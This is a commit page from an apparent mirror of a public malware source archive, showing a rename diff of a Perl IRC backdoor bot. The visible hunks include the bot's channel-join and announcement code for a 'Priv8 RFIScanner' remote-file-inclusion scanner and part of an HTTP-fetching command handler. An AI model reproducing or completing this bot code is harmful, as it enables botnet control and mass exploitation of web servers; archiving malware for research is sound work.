ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 17:36:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Rename Backdoor.Perl.IRCBot.n to Backdoor.Perl.IRCBot.Scanner.m

Browse Source
This commit is contained in:
vxunderground 2020-11-14 00:54:08 -06:00 committed by GitHub
parent b6e492132e
commit 5b1a652ec2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
Perl/Backdoor.Perl.IRCBot.n → Perl/Backdoor.Perl.IRCBot.Scanner.m
View File

@ -40,13 +40,13 @@ print $dsp "USER infira 8 * : infira \r\n";
print $dsp "JOIN $channel\r\n"; print $dsp "JOIN $channel\r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n"; print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n";
print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n"; print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n"; print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
sleep(1); sleep(1);
print $dsp "NICK $nickname\r\n"; print $dsp "NICK $nickname\r\n";
print $dsp "USER SeaNet * : SeaNet \r\n"; print $dsp "USER SeaNet * : SeaNet \r\n";
print $dsp "JOIN $chanres\r\n"; print $dsp "JOIN $chanres\r\n";
print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n"; print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n";
print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n"; print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n";
while ( $line = <$dsp> ) { while ( $line = <$dsp> ) {
@ -123,7 +123,7 @@ while ( $line = <$dsp> ) {
} }
if ( $line =~ /PRIVMSG $channel :!id/ ) if ( $line =~ /PRIVMSG $channel :!id/ )
{ ## ©© Script made by kangkung . Don't remove this comment ! { ## ©© Script made by kangkung . Don't remove this comment !
my $testid = $id; my $testid = $id;
my $req = HTTP::Request->new( GET => $testid ); my $req = HTTP::Request->new( GET => $testid );
my $ua = LWP::UserAgent->new(); my $ua = LWP::UserAgent->new();